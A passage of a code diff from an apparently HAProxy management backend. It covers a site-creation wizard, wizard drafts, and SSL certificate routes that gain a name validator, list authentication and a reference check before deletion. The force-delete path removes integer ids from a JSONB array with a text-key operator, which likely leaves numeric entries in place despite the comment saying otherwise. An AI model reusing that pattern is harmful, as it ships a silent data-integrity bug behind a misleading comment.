await conn.fetchval( + """ + INSERT INTO config_versions + (cluster_id, version_name, config_content, checksum, created_by, + is_active, status, description, metadata) + VALUES ($1, $2, $3, $4, $5, FALSE, 'PENDING', $6, $7::jsonb) + RETURNING id + """, + body.cluster_id, + version_name, + config_content, + config_hash, + user_id, + f"Wizard-created site '{body.backend.name}' for {', '.join(body.domains)}", + json.dumps(metadata), + ) + created_ids["config_version_id"] = config_version_id + + # ----- POST-COMMIT actions + response_status = "created_pending" + apply_result: Optional[Dict[str, Any]] = None + acme_order_id: Optional[int] = None + acme_staging_error: Optional[str] = None + + if body.apply_immediately: + try: + from services.apply_service import apply_cluster_pending + apply_result = await apply_cluster_pending( + body.cluster_id, user_id=user_id + ) + response_status = "created_applied" + except Exception as apply_err: + logger.error(f"WIZARD: apply failed for cluster {body.cluster_id}: {apply_err}") + response_status = "created_pending_apply_failed" + apply_result = {"error": str(apply_err)} + + # ACME staging — only after apply succeeded (so version_name is real) + if body.ssl.mode == "acme" and response_status == "created_applied": + try: + # Re-acquire the connection for the post-commit work; we + # already closed our transaction above. + post_conn = await get_database_connection() + try: + suffix = body.ssl.https_frontend_name_suffix or "-https" + https_name = f"{body.frontend.name}{suffix}" + + # Build the deferred HTTPS frontend payload that + # _complete_certificate's post_completion_actions will + # execute once the cert is downloaded. + # v1.5.0 advanced TLS: persist HSTS + ALPN + TLS tuning + # in the deferred frontend_config so post-completion + # action creates a properly-configured HTTPS frontend. + # R12 fix: idempotent (skip if user already wrote HSTS). + hsts_acme_headers = body.frontend.response_headers or "" + _hsts_already = ( + "strict-transport-security" in hsts_acme_headers.lower() + ) + if body.ssl.hsts_enabled and not _hsts_already: + hsts_value = f"max-age={body.ssl.hsts_max_age}" + if body.ssl.hsts_include_subdomains: + hsts_value += "; includeSubDomains" + if body.ssl.hsts_preload: + hsts_value += "; preload" + hsts_line = f'http-response set-header Strict-Transport-Security "{hsts_value}"' + hsts_acme_headers = ( + (hsts_acme_headers + "\n" + hsts_line) + if hsts_acme_headers + else hsts_line + ) + deferred_https_action = { + # v1.5.0 R12: bumped schema_version to 2 to signal + # that the new advanced fields (ssl_alpn / hsts / + # tls versions / etc.) are present. Reader treats + # missing keys as None so v1 actions still execute + # cleanly post-upgrade. + "type": "create_frontend", + "schema_version": 2, + "frontend_config": { + # core + "name": https_name, + "mode": body.frontend.mode, + "bind_address": body.frontend.bind_address, + "bind_port": body.ssl.https_bind_port, + "default_backend": body.backend.name, + "ssl_enabled": True, + "cluster_id": body.cluster_id, + "_auto_apply": True, + "_user_id": user_id, + # advanced TLS (HAProxy 2.4+) — read by + # frontend_service.create_frontend_row via + # getattr on the SimpleNamespace shim assembled + # in routers/letsencrypt.py:: + # _execute_post_completion_actions. + "ssl_alpn": body.ssl.ssl_alpn, + "ssl_ciphers": body.ssl.ssl_ciphers, + "ssl_ciphersuites": body.ssl.ssl_ciphersuites, + "ssl_min_ver": body.ssl.ssl_min_ver, + "ssl_max_ver": body.ssl.ssl_max_ver, + "ssl_strict_sni": body.ssl.ssl_strict_sni, + # R17 minimum-parity: mTLS client cert auth. + "ssl_verify": body.ssl.ssl_verify, + # frontend tuning + headers (HSTS lands here) + "response_headers": hsts_acme_headers or None, + "request_headers": body.frontend.request_headers, + "compression": body.frontend.compression, + "log_separate": body.frontend.log_separate, + "monitor_uri": body.frontend.monitor_uri, + "maxconn": body.frontend.maxconn, + "rate_limit": body.frontend.rate_limit, + "timeout_client": body.frontend.timeout_client, + "timeout_http_request": body.frontend.timeout_http_request, + "options": body.frontend.options, + "tcp_request_rules": body.frontend.tcp_request_rules, + # routing — explicitly empty for the HTTPS sibling + # (matches the upload/existing branch above). + "redirect_rules": [], + "acl_rules": list(body.frontend.acl_rules or []), + "use_backend_rules": list(body.frontend.use_backend_rules or []), + }, + } + + # Bulgu #30 fix: gate the staged order on the CONSOLIDATED + # version name (`apply-consolidated-{ts}`), which is what + # the agent reports back via /config-applied. The original + # PENDING version (`bulk-site-create-{ts}`) is + # marked APPLIED+is_active=FALSE by apply_pending_changes + # and never appears in agents.applied_config_version, so + # comparing against it would block promotion forever. + gating_version_name = ( + (apply_result or {}).get("latest_version") or version_name + ) + + acme_order_id = await create_order_staged( + post_conn, + account_id=acme_account_id, + domains=list(body.domains), + cluster_ids=[body.cluster_id], + post_completion_actions=[deferred_https_action], + pending_apply_version_name=gating_version_name, + created_by=user_id, + ) + + # Extend the version metadata so reject force-delete + # also cleans this staged order. (R43/M27) + await post_conn.execute( + """ + UPDATE config_versions + SET metadata = jsonb_set( + COALESCE(metadata, '{}'::jsonb), + '{bulk_snapshots}', + COALESCE(metadata->'bulk_snapshots', '[]'::jsonb) + || $2::jsonb, + true + ) + WHERE id = $1 + """, + config_version_id, + json.dumps([_entity_snapshot("letsencrypt_order", acme_order_id)]), + ) + + await record_event( + acme_order_id, + "wizard_staged", + severity="INFO", + message=f"Wizard staged ACME order for {', '.join(body.domains)}", + details={ + "version_name": version_name, + "gating_version_name": gating_version_name, + "cluster_id": body.cluster_id, + "user_id": user_id, + }, + conn=post_conn, + ) + finally: + await close_database_connection(post_conn) + except Exception as acme_err: + logger.error(f"WIZARD: ACME staging failed: {acme_err}") + response_status = "applied_acme_staging_failed" + acme_staging_error = str(acme_err) + + # R18b audit fix (round 6 #15): the activity-logger middleware + # only records 2xx HTTP responses with the bare status code. + # The wizard create endpoint can return 200 with a `status` + # body of `created_pending_apply_failed` or + # `applied_acme_staging_failed` — the audit trail then claims + # "wizard succeeded" while the operator's downstream apply or + # ACME staging failed. Emit an explicit user_activity_logs row + # capturing the wizard outcome so the audit trail reflects + # reality regardless of HTTP status interpretation by the + # generic middleware. + # + # R18b round 7 refinement: the emit is fire-and-forget via + # `asyncio.create_task`. Pre-fix the awaited call added a + # secondary DB INSERT to the wizard's tail latency. The audit + # log helper already swallows its own exceptions and the + # response data is fully prepared; spawning the task lets + # the wizard return as soon as the transaction is committed. + try: + import asyncio as _asyncio + from utils.activity_log import log_user_activity as _log_user_activity + _asyncio.create_task(_log_user_activity( + user_id=user_id, + action="wizard_create_site", + resource_type="site", + resource_id=str(version_name) if version_name else None, + details={ + "wizard_status": response_status, + "cluster_id": body.cluster_id, + "domains": body.domains, + "ssl_mode": body.ssl.mode, + "version_name": version_name, + "apply_immediately": body.apply_immediately, + "acme_order_id": acme_order_id, + "acme_staging_error": acme_staging_error, + "apply_error": ( + apply_result.get("error") + if isinstance(apply_result, dict) else None + ), + }, + )) + except Exception as audit_err: + # Audit logging must never break the main flow. + logger.debug(f"WIZARD: audit log emit failed: {audit_err}") + + return { + "status": response_status, + "version_name": version_name, + "created_ids": created_ids, + "apply_result": apply_result, + "acme_order_id": acme_order_id, + "acme_staging_error": acme_staging_error, + } + except HTTPException: + raise + except ValidationError as ve: + # 422 envelope (R57/M38) — return field-level errors + raise HTTPException(status_code=422, detail=ve.errors()) + except UndefinedColumnError as uce: + # R18c audit fix (round 1 #3): if migrations are behind on a + # rolling deploy, the wizard's INSERTs may reference columns + # that haven't been added yet (e.g. backend_servers + # `ssl_certificate_id`, frontends advanced TLS columns). + # Pre-fix this surfaced as an unguarded asyncpg error inside + # `except Exception` → 500 with raw column-name leakage. Map + # to 503 with the same "run migrations" hint as the missing- + # table case so operators have one consistent recovery + # signal regardless of whether the schema gap is a column or + # a table. + msg = str(uce) + logger.error(f"WIZARD: undefined column on create (migration lag?): {msg}") + raise HTTPException( + status_code=503, + detail=( + "A required column is missing — the database appears to " + "be behind on migrations. Run the backend migration step " + "before creating wizard sites." + ), + ) + except UndefinedTableError as ute: + # R18b audit fix (round 5 #B): if the API process is brought + # up against a database where `run_all_migrations` has not + # finished (e.g. mid-rolling-deploy, or an operator restored a + # snapshot from before R18 schema changes), the SSL eligibility + # query touches `ssl_certificate_clusters` which may not exist + # yet and the wizard surfaces a generic 500 with a raw asyncpg + # message — operator has no actionable signal. Map to 503 with + # a "run migrations" hint so the operator immediately knows + # the cause and remediation. + msg = str(ute) + logger.error(f"WIZARD: undefined table on create (migration lag?): {msg}") + raise HTTPException( + status_code=503, + detail=( + "A required table is missing — the database appears to " + "be behind on migrations (likely `ssl_certificate_clusters` " + "or another R18+ schema artefact). Run the backend " + "migration step before creating wizard sites." + ), + ) + except ForeignKeyViolationError as fve: + # R18b audit fix (round 4 #E): a cert / cluster / backend the + # wizard relied on was deleted between pre-flight validation + # and the FK enforcement on INSERT. The transaction rolls + # back cleanly (no partial state), but pre-fix the operator + # saw a generic 500. 409 with a hint maps the race to a + # retry-with-fresh-state action instead of a "service broken" + # signal. + msg = str(fve) + logger.info(f"WIZARD: FK violation on create: {msg}") + raise HTTPException( + status_code=409, + detail=( + "A referenced entity (SSL certificate, cluster, or " + "backend) was deleted while the wizard was creating " + "this site. Reload the wizard and reselect dependent " + "fields, then retry." + ), + ) + except UniqueViolationError as uve: + # R18b audit fix (round 3 #4): TWO operators racing the same + # wizard-host name on the same cluster both pass the + # `is_active=TRUE` pre-flight collision check and enter the + # transaction; the SECOND insert hits the UNIQUE(name, + # cluster_id) constraint. Pre-fix that bubbled up as a + # generic 500 with no operator-actionable detail. The same + # constraint also fires when a soft-deleted (is_active=FALSE) + # row still occupies the (name, cluster_id) tuple — pre-flight + # only checks active rows. 409 with a precise hint maps the + # race to "pick a different name" instead of "something + # broke". + msg = str(uve) + logger.info(f"WIZARD: name conflict on create: {msg}") + if "backends_name_cluster_id_key" in msg or 'backends_name' in msg: + detail = ( + "A backend with this name already exists on the cluster " + "(possibly soft-deleted). Pick a different backend name " + "or restore/permanently-delete the existing row." + ) + elif "frontends_name_cluster_id_key" in msg or "frontends_name" in msg: + detail = ( + "A frontend with this name already exists on the cluster " + "(possibly soft-deleted). Pick a different frontend name " + "or restore/permanently-delete the existing row." + ) + else: + detail = ( + "A wizard entity with this name already exists on the " + "cluster (UNIQUE constraint). Pick a different name." + ) + raise HTTPException(status_code=409, detail=detail) + except Exception as e: + # R18c round 10 (M3): pre-round-10 we surfaced `detail=str(e)` to + # the client, which leaks SQL fragments, internal identifiers, + # exception class names, and occasionally file paths to the + # browser. Log the full exception server-side with a correlation + # id (uuid4) so an operator can find the matching server log + # entry from the toast they see in the UI; return a stable + # generic detail to keep info disclosure low. + import uuid + correlation_id = uuid.uuid4().hex[:12] + logger.exception( + "WIZARD: unexpected failure [correlation_id=%s] user_id=%s: %s", + correlation_id, user_id, e, + ) + raise HTTPException( + status_code=500, + detail=( + "Wizard create failed unexpectedly. Please retry; if the " + f"error persists contact the platform team and reference " + f"correlation id {correlation_id} (server logs)." + ), + ) + finally: + await close_database_connection(conn) + + +# --------------------------------------------------------------------------- +# Drafts CRUD +# --------------------------------------------------------------------------- + + +@router.post("/drafts") +async def save_draft( + body: SiteDraftCreate, + authorization: str = Header(None), +): + current_user = await get_current_user_from_token(authorization) + user_id = current_user["id"] + if not await _can_use_wizard(user_id, current_user=current_user): + raise HTTPException( + status_code=403, + detail="Insufficient permissions: at least one of frontend.read/create, " + "ssl.read/create or backend.create is required to use the wizard", + ) + + sanitized = _strip_pem_from_payload(body.payload or {}) + + conn = await get_database_connection() + try: + # R14 hardening (#R14-1): cap drafts per user. Without a cap a + # single user can grow wizard_drafts indefinitely (within the 30d + # retention window). 50 active drafts per user is generous for + # human use and bounded for the table. + # + # R18 audit fix: the COUNT and INSERT below ran sequentially on + # the same connection but were NOT wrapped in a transaction, so + # two parallel saves could both observe count=49 and both + # insert ⇒ the cap was advisory only. We now wrap both + # statements in a single transaction AND take a per-user + # advisory lock for the duration. The advisory lock key is + # derived from `user_id` and a stable namespace constant so + # admins doing parallel work on different users are not + # serialised against each other. + async with conn.transaction(): + # Stable namespace tag for "wizard_drafts cap" — chosen + # arbitrary but deterministic. Postgres advisory locks + # take two int4 args; we use (namespace, user_id). + await conn.execute("SELECT pg_advisory_xact_lock($1, $2)", 18181818, int(user_id)) + # Phase I: dual-filter — accept BOTH the post-rebrand + # `site` value and the legacy `proxied_host` value so the + # 50-draft cap still counts pre-rename drafts owned by + # this user. The `(user_id, wizard_type, updated_at)` + # composite index handles the IN-list as a B-tree + # bitmap merge so the cap check stays O(log n). + existing = await conn.fetchval( + """ + SELECT COUNT(*)::int FROM wizard_drafts + WHERE user_id = $1 + AND wizard_type IN ('site', 'proxied_host') + AND expires_at > NOW() + """, + user_id, + ) + if existing is not None and existing >= 50: + raise HTTPException( + status_code=409, + detail=( + "You already have 50 active wizard drafts. Delete some " + "from 'Site Drafts' before saving a new one." + ), + ) + + # Bulgu #1 fix: return the REAL expires_at from the DB default + # (created_at + INTERVAL '30 days') instead of NOW(). Otherwise the + # frontend prompts users that the draft expires today. + # Phase I: new INSERTs land with the canonical `site` + # value (matches the schema-level DEFAULT post-migration). + # The list/delete paths use IN ('site', 'proxied_host') + # so pre-rename drafts owned by the same user still + # surface in the listing — no row-level UPDATE migration + # is needed (existing rows are untouched). + row = await conn.fetchrow( + """ + INSERT INTO wizard_drafts (user_id, wizard_type, title, payload) + VALUES ($1, 'site', $2, $3::jsonb) + RETURNING id, expires_at, created_at, updated_at + """, + user_id, + body.title, + json.dumps(sanitized), + ) + def _iso(d): + return d.isoformat().replace("+00:00", "Z") if d else None + return { + "id": row["id"], + "title": body.title, + "expires_at": _iso(row["expires_at"]), + "created_at": _iso(row["created_at"]), + "updated_at": _iso(row["updated_at"]), + } + finally: + await close_database_connection(conn) + + +@router.get("/drafts") +async def list_drafts(authorization: str = Header(None)): + current_user = await get_current_user_from_token(authorization) + user_id = current_user["id"] + if not await _can_use_wizard(user_id, current_user=current_user): + raise HTTPException( + status_code=403, + detail="Insufficient permissions: at least one of frontend.read/create, " + "ssl.read/create or backend.create is required to use the wizard", + ) + + conn = await get_database_connection() + try: + # Phase I: dual-filter so drafts saved before the Site + # rebrand (wizard_type='proxied_host') still appear in the + # operator's draft list alongside post-rebrand drafts + # (wizard_type='site'). + rows = await conn.fetch( + """ + SELECT id, title, payload, expires_at, created_at, updated_at + FROM wizard_drafts + WHERE user_id = $1 + AND wizard_type IN ('site', 'proxied_host') + AND expires_at > NOW() + ORDER BY updated_at DESC + """, + user_id, + ) + + # R18c round 7 (Bulgu 4): augment each draft with ssl_cert_summary + # when ssl.mode='existing' and a referenced cert id is present. + # Operators reported that the drafts list showed a generic "30 + # days" expiry (the draft TTL) instead of the SELECTED ssl + # certificate's actual expiry — confusing on a screen mixing two + # unrelated countdowns. We now JOIN ssl_certificates in a single + # batch query (no N+1) so the UI can render the proper cert + # name, status and expiry mirroring FrontendManagement's SSL/TLS + # column. + def _payload(r): + p = r["payload"] + if isinstance(p, str): + try: + return json.loads(p) + except Exception: + return {} + return p or {} + + cert_ids = set() + parsed_payloads = [] + for r in rows: + p = _payload(r) + parsed_payloads.append(p) + ssl_obj = p.get("ssl") if isinstance(p, dict) else None + if isinstance(ssl_obj, dict) and ssl_obj.get("mode") == "existing": + cid = ssl_obj.get("ssl_certificate_id") + if isinstance(cid, int): + cert_ids.add(cid) + + cert_map = {} + if cert_ids: + cert_rows = await conn.fetch( + """ + SELECT id, name, primary_domain AS domain, expiry_date, + days_until_expiry, status + FROM ssl_certificates + WHERE id = ANY($1::int[]) AND is_active = TRUE + """, + list(cert_ids), + ) + cert_map = {c["id"]: c for c in cert_rows} + + drafts_out = [] + for r, p in zip(rows, parsed_payloads): + ssl_cert_summary = None + ssl_obj = p.get("ssl") if isinstance(p, dict) else None + if isinstance(ssl_obj, dict) and ssl_obj.get("mode") == "existing": + cid = ssl_obj.get("ssl_certificate_id") + if isinstance(cid, int): + c = cert_map.get(cid) + if c: + ssl_cert_summary = { + "id": c["id"], + "name": c["name"], + "domain": c["domain"], + "expiry_date": ( + c["expiry_date"].isoformat().replace("+00:00", "Z") + if c["expiry_date"] else None + ), + "days_until_expiry": c["days_until_expiry"], + "status": c["status"], + } + else: + # Cert was deleted or marked inactive after the + # draft was saved. Tell the UI explicitly so it + # can warn the operator instead of silently + # falling back to "no cert". + ssl_cert_summary = {"id": cid, "deleted": True} + + drafts_out.append({ + "id": r["id"], + "title": r["title"], + # R18c round 8 (Bulgu A): asyncpg has no JSONB codec + # registered on the pool, so r["payload"] comes back as a + # raw JSON string. Returning the string verbatim caused + # the drafts UI to render `r.payload?.domains` as + # undefined (it's `string.domains`, not `dict.domains`), + # which is why the table showed empty Domains/Cluster + # columns AND why Resume sent the wizard a string that + # JSON.parse turned back into a string — never hydrating + # the form. We always return a parsed dict so the FE + # contract is stable regardless of asyncpg behaviour. + "payload": p if isinstance(p, dict) else {}, + "ssl_cert_summary": ssl_cert_summary, + "expires_at": r["expires_at"].isoformat().replace("+00:00", "Z") if r["expires_at"] else None, + "created_at": r["created_at"].isoformat().replace("+00:00", "Z") if r["created_at"] else None, + "updated_at": r["updated_at"].isoformat().replace("+00:00", "Z") if r["updated_at"] else None, + }) + + return {"drafts": drafts_out} + finally: + await close_database_connection(conn) + + +@router.delete("/drafts/{draft_id}") +async def delete_draft(draft_id: int, authorization: str = Header(None)): + current_user = await get_current_user_from_token(authorization) + user_id = current_user["id"] + if not await _can_use_wizard(user_id, current_user=current_user): + raise HTTPException( + status_code=403, + detail="Insufficient permissions: at least one of frontend.read/create, " + "ssl.read/create or backend.create is required to use the wizard", + ) + + conn = await get_database_connection() + try: + # R18b audit fix (round 6 #11): use DELETE ... RETURNING to + # detect 0-rows-affected reliably. Pre-fix the route relied + # on `result.endswith("0")`, which silently became "draft + # deleted OK" if asyncpg's status string format ever + # changed (e.g. driver upgrade returned bytes instead of + # str, or future asyncpg versions changed "DELETE 0" to a + # different shape). RETURNING returns an explicit row when + # the delete fired, NULL when it didn't — unambiguous. + deleted_id = await conn.fetchval( + "DELETE FROM wizard_drafts WHERE id = $1 AND user_id = $2 RETURNING id", + draft_id, + user_id, + ) + if deleted_id is None: + raise HTTPException(status_code=404, detail="Draft not found") + return {"deleted": draft_id} + finally: + await close_database_connection(conn) diff --git a/backend/routers/ssl.py b/backend/routers/ssl.py index 89ffd05..96f375c 100644 --- a/backend/routers/ssl.py +++ b/backend/routers/ssl.py @@ -2,6 +2,7 @@ from fastapi import APIRouter, HTTPException, Request, Header, Depends from typing import List, Optional import logging import hashlib +import re import time import json from datetime import datetime, timezone @@ -17,6 +18,80 @@ from services.haproxy_config import generate_haproxy_config_for_cluster router = APIRouter(prefix="/api/ssl", tags=["SSL Certificates"]) logger = logging.getLogger(__name__) + +# Bulgu #63 (round-22 audit) — handler-level enforcement of the +# SSL certificate name path-traversal guard. Previously lived as a +# Pydantic validator on `SSLCertificateUpdate.name` (Bulgu #21, +# round-11). Operators with legacy certificate names containing +# forbidden characters (e.g. `*.example.com`, `cert (1).pem`, +# `wildcard ssl.pem`) were locked out of updating any other field +# — the model validator fired before the route body even ran. The +# create + update routes now invoke `_assert_safe_cert_name` with +# explicit grandfathering on UPDATE. + +_SAFE_CERT_NAME_PATTERN = re.compile(r"^[A-Za-z0-9_.-]+$") + + +def _assert_safe_cert_name(name: Optional[str]) -> None: + """Strict path-traversal guard for SSL certificate names. + + Identical contract to the original Bulgu #21 validator: + + * trimmed-non-empty, length <= 200 + * only [A-Za-z0-9_.-] + * no ``..`` sequence + * does not start with ``.`` or ``-`` + + Raises ``HTTPException(400)`` so the caller can let FastAPI + surface the actionable message. Callers that want to skip the + check (e.g. UPDATE with unchanged name) simply omit the call. + """ + if name is None: + return + stripped = name.strip() + if not stripped: + raise HTTPException( + status_code=400, + detail="SSL certificate name must not be empty", + ) + if stripped != name: + raise HTTPException( + status_code=400, + detail="SSL certificate name must not contain leading/trailing whitespace", + ) + if len(stripped) > 200: + raise HTTPException( + status_code=400, + detail="SSL certificate name must be 200 characters or fewer", + ) + if not _SAFE_CERT_NAME_PATTERN.match(stripped): + raise HTTPException( + status_code=400, + detail=( + f"SSL certificate name={name!r} contains forbidden " + "characters — only letters, digits, underscore, " + "hyphen, and dot are allowed." + ), + ) + if ".." in stripped: + raise HTTPException( + status_code=400, + detail=( + f'SSL certificate name={name!r} must not contain ' + f'".." (path traversal)' + ), + ) + if stripped.startswith("."): + raise HTTPException( + status_code=400, + detail=f'SSL certificate name={name!r} must not start with "."', + ) + if stripped.startswith("-"): + raise HTTPException( + status_code=400, + detail=f'SSL certificate name={name!r} must not start with "-"', + ) + async def validate_user_cluster_access(user_id: int, cluster_id: int, conn): """Validate that user has access to the specified cluster""" # Check if cluster exists @@ -90,7 +165,11 @@ async def validate_user_cluster_access(user_id: int, cluster_id: int, conn): return True @router.get("/certificates", response_model=List[dict], summary="Get SSL Certificates", response_description="List of SSL certificates") -async def get_ssl_certificates(cluster_id: Optional[int] = None, usage_type: Optional[str] = None): +async def get_ssl_certificates( + cluster_id: Optional[int] = None, + usage_type: Optional[str] = None, + authorization: str = Header(None), +): """ # Get SSL Certificates @@ -120,10 +199,38 @@ async def get_ssl_certificates(cluster_id: Optional[int] = None, usage_type: Opt } ] ``` + + R18 audit fix: enforce authentication on the LIST endpoint and + cluster-scoped authorization when `cluster_id` is provided. Pre-R18 + this route was anonymously accessible — any client could enumerate + cert metadata across the whole installation, which broke the + multi-tenant guarantee in `validate_user_cluster_access`. The + detail / create / update / delete routes were already authenticated + individually; this fix closes the LIST gap. """ + # R18 audit (round 4 fix): authenticate BEFORE opening any DB + # connection. Pre-fix the endpoint opened the pool first then + # checked auth, which produced confusing 500s on transient DB + # issues for unauthenticated callers (and worse: leaked the + # presence of the pool to anonymous probes). + current_user = await get_current_user_from_token(authorization) + # R18 audit (round 6 fix): single try/finally lifecycle for the + # connection. Pre-fix the function had nested try blocks that each + # called `close_database_connection(conn)` — releasing the same + # asyncpg handle twice if any exception bubbled past the inner + # release. Pattern now: one acquire, one release in finally, + # regardless of which branch raises or returns. `conn = None` + # pre-binding still required so the finally is safe when the + # acquire itself raises (DB pool down / pool typo). + conn = None try: conn = await get_database_connection() - + if current_user and cluster_id: + # Cluster-scoped enumeration must respect cluster access. + # Re-raises HTTPException(403/404) cleanly; finally below + # releases the connection. + await validate_user_cluster_access(current_user["id"], cluster_id, conn) + # First check if ssl_certificates table exists try: table_exists = await conn.fetchval(""" @@ -134,7 +241,6 @@ async def get_ssl_certificates(cluster_id: Optional[int] = None, usage_type: Opt """) if not table_exists: - await close_database_connection(conn) logger.info("SSL certificates table does not exist yet - returning empty list") return [] @@ -229,8 +335,12 @@ async def get_ssl_certificates(cluster_id: Optional[int] = None, usage_type: Opt ORDER BY created_at DESC """, *params) - await close_database_connection(conn) - + # R18 audit (round 6 fix): defer the connection release to + # the outer `finally` — the post-query `for cert in + # certificates:` loop must not run on a released handle, + # but if it raises we don't want a double-release on the + # outer handler either. + # Convert to list of dicts with new schema fields result = [] for cert in certificates: @@ -272,29 +382,35 @@ async def get_ssl_certificates(cluster_id: Optional[int] = None, usage_type: Opt return result + except HTTPException: + # Re-raise typed HTTP errors (e.g. cluster access 403/404) + # without the broad-except remap below. The outer finally + # still releases the connection. + raise except Exception as table_error: logger.error(f"SSL LIST ERROR: Query failed for cluster_id={cluster_id}, usage_type={usage_type}: {table_error}", exc_info=True) - try: - await close_database_connection(conn) - except: - pass raise HTTPException( status_code=500, detail=f"Failed to fetch SSL certificates. Please check server logs. Error: {str(table_error)}" ) - + except HTTPException: raise except Exception as e: logger.error(f"SSL LIST ERROR: Connection/setup failed: {e}", exc_info=True) - try: - await close_database_connection(conn) - except: - pass raise HTTPException( status_code=500, detail=f"Failed to fetch SSL certificates: {str(e)}" ) + finally: + # R18 audit (round 6 fix): single canonical release point. + # Idempotent because of the `conn is not None` guard — a no-op + # if `get_database_connection()` itself raised before assignment. + if conn is not None: + try: + await close_database_connection(conn) + except Exception: + pass @router.post("/certificates") async def create_ssl_certificate(certificate: SSLCertificateCreate, request: Request, authorization: str = Header(None)): @@ -311,7 +427,13 @@ async def create_ssl_certificate(certificate: SSLCertificateCreate, request: Req status_code=403, detail="Insufficient permissions: ssl.create required" ) - + + # Bulgu #63 (round-22 audit) — strict path-traversal guard on + # CREATE. Mirrors the original Bulgu #21 validator; the + # equivalent check was moved out of the model so the UPDATE + # path can grandfather legacy names. + _assert_safe_cert_name(certificate.name) + conn = await get_database_connection() # Validate cluster access for multi-cluster security @@ -779,6 +901,17 @@ async def update_ssl_certificate(cert_id: int, certificate: SSLCertificateUpdate await close_database_connection(conn) raise HTTPException(status_code=404, detail="SSL certificate not found") + # Bulgu #63 (round-22 audit) — grandfather the existing + # certificate name. Only enforce the path-traversal guard + # when the operator actually renames the cert. If they + # leave `name` at its current value (or omit it), let the + # update proceed regardless of whether the legacy name + # conforms to the post-Bulgu-#21 character set. Otherwise + # legacy uploads with `cert (1).pem` / `*.example.com` etc. + # would be permanently un-updatable from the manual SSL UI. + if certificate.name is not None and certificate.name != existing["name"]: + _assert_safe_cert_name(certificate.name) + # Protect ACME-managed certificates from manual content edits if existing.get('source') == 'letsencrypt': content_fields_changed = any([ @@ -1165,13 +1298,51 @@ async def update_ssl_certificate(cert_id: int, certificate: SSLCertificateUpdate raise HTTPException(status_code=500, detail=str(e)) @router.delete("/certificates/{cert_id}") -async def delete_ssl_certificate(cert_id: int, request: Request, authorization: str = Header(None)): - """Delete SSL certificate""" +async def delete_ssl_certificate( + cert_id: int, + request: Request, + force: bool = False, + authorization: str = Header(None), +): + """Delete SSL certificate. + + Bulgu #74 (round-22 audit) — pre-fix this handler did a hard + `DELETE FROM ssl_certificates WHERE id=$1` without ANY + referential check. The `frontends` table carries the cert + reference in two places — `ssl_certificate_id` (legacy + single-cert column) and `ssl_certificate_ids` JSONB array + (multi-cert support) — and NEITHER has a database-level + foreign-key constraint, so the cert vanished and the + referencing rows kept the now-dangling integer. The next + config regen then either: + * silently dropped the bind line and the frontend went from + HTTPS to HTTP (silent security downgrade), OR + * rendered `bind :443 ssl crt /etc/ssl/haproxy/.pem` + which the agent's `haproxy -c` rejected at reload time, + breaking the entire cluster's config-apply pipeline. + Either failure mode was hard to attribute back to the cert + deletion long after the fact. + + The new contract: + * **default**: 409 Conflict if any active frontend / backend + server still references the cert; the response body lists + the offending entities so the operator can detach the + cert from each one first. + * **`?force=true`**: NULL out the references (both legacy + column and JSONB array) BEFORE deleting the row, + emitting a clear audit-log warning per affected + frontend. The frontends are marked PENDING so the next + apply re-renders without the cert. + ACME-managed certs (`letsencrypt_order_id IS NOT NULL`) keep + their `ON DELETE SET NULL` FK on `letsencrypt_orders`, but we + also surface a warning so the operator knows the renewal + loop will re-issue if the order is still active. + """ try: # Get current user for activity logging from auth_middleware import get_current_user_from_token, check_user_permission current_user = await get_current_user_from_token(authorization) - + # Check permission for SSL delete has_permission = await check_user_permission(current_user["id"], "ssl", "delete") if not has_permission: @@ -1179,19 +1350,104 @@ async def delete_ssl_certificate(cert_id: int, request: Request, authorization: status_code=403, detail="Insufficient permissions: ssl.delete required" ) - + conn = await get_database_connection() - + # Check if certificate exists and get cluster_id certificate = await conn.fetchrow("SELECT name, cluster_id FROM ssl_certificates WHERE id = $1", cert_id) if not certificate: await close_database_connection(conn) raise HTTPException(status_code=404, detail="SSL certificate not found") - + cluster_id = certificate['cluster_id'] cert_name = certificate['name'] - logger.info(f"SSL certificate delete: cert_id={cert_id}, name={cert_name}, cluster_id={cluster_id}") - + logger.info(f"SSL certificate delete: cert_id={cert_id}, name={cert_name}, cluster_id={cluster_id}, force={force}") + + # Bulgu #74 — referential check across both legacy and + # multi-cert columns + backend-server SSL references. + frontend_refs = await conn.fetch(""" + SELECT id, name, cluster_id + FROM frontends + WHERE is_active = TRUE + AND (ssl_certificate_id = $1 + OR ssl_certificate_ids @> to_jsonb($1::int)) + ORDER BY cluster_id, name + """, cert_id) + backend_server_refs = await conn.fetch(""" + SELECT id, server_name, backend_name, cluster_id + FROM backend_servers + WHERE is_active = TRUE AND ssl_certificate_id = $1 + ORDER BY cluster_id, backend_name, server_name + """, cert_id) + + if (frontend_refs or backend_server_refs) and not force: + await close_database_connection(conn) + fe_list = [ + {"id": r["id"], "name": r["name"], "cluster_id": r["cluster_id"]} + for r in frontend_refs + ] + be_list = [ + { + "id": r["id"], "server_name": r["server_name"], + "backend_name": r["backend_name"], + "cluster_id": r["cluster_id"], + } + for r in backend_server_refs + ] + raise HTTPException( + status_code=409, + detail={ + "message": ( + f"SSL certificate '{cert_name}' is still in use by " + f"{len(fe_list)} frontend(s) and {len(be_list)} backend " + f"server(s). Detach the certificate from each one first, " + f"or call DELETE again with ?force=true to NULL the " + f"references and proceed (this will mark every affected " + f"entity as PENDING and silently drop the HTTPS bind " + f"on `force` — only use force when you've verified " + f"the certificate is no longer needed)." + ), + "frontends": fe_list, + "backend_servers": be_list, + }, + ) + + if force and (frontend_refs or backend_server_refs): + logger.warning( + f"SSL DELETE FORCE: cert_id={cert_id} name={cert_name!r} — " + f"nulling references in {len(frontend_refs)} frontend(s) " + f"and {len(backend_server_refs)} backend server(s)" + ) + # Clear legacy single-cert column. + await conn.execute(""" + UPDATE frontends + SET ssl_certificate_id = NULL, + last_config_status = 'PENDING', + updated_at = CURRENT_TIMESTAMP + WHERE ssl_certificate_id = $1 + """, cert_id) + # Clear the multi-cert JSONB array entry. `-` operator + # on JSONB removes ALL occurrences of the integer. + await conn.execute(""" + UPDATE frontends + SET ssl_certificate_ids = COALESCE(ssl_certificate_ids, '[]'::jsonb) + - $1::text, + last_config_status = 'PENDING', + updated_at = CURRENT_TIMESTAMP + WHERE ssl_certificate_ids @> to_jsonb($1::int) + """, str(cert_id)) + # backend_servers.ssl_certificate_id has an + # `ON DELETE SET NULL` FK constraint, so the DELETE + # below will null it. We still bump + # `last_config_status` so the next apply re-renders. + for srv in backend_server_refs: + await conn.execute(""" + UPDATE backend_servers + SET last_config_status = 'PENDING', + updated_at = CURRENT_TIMESTAMP + WHERE id = $1 + """, 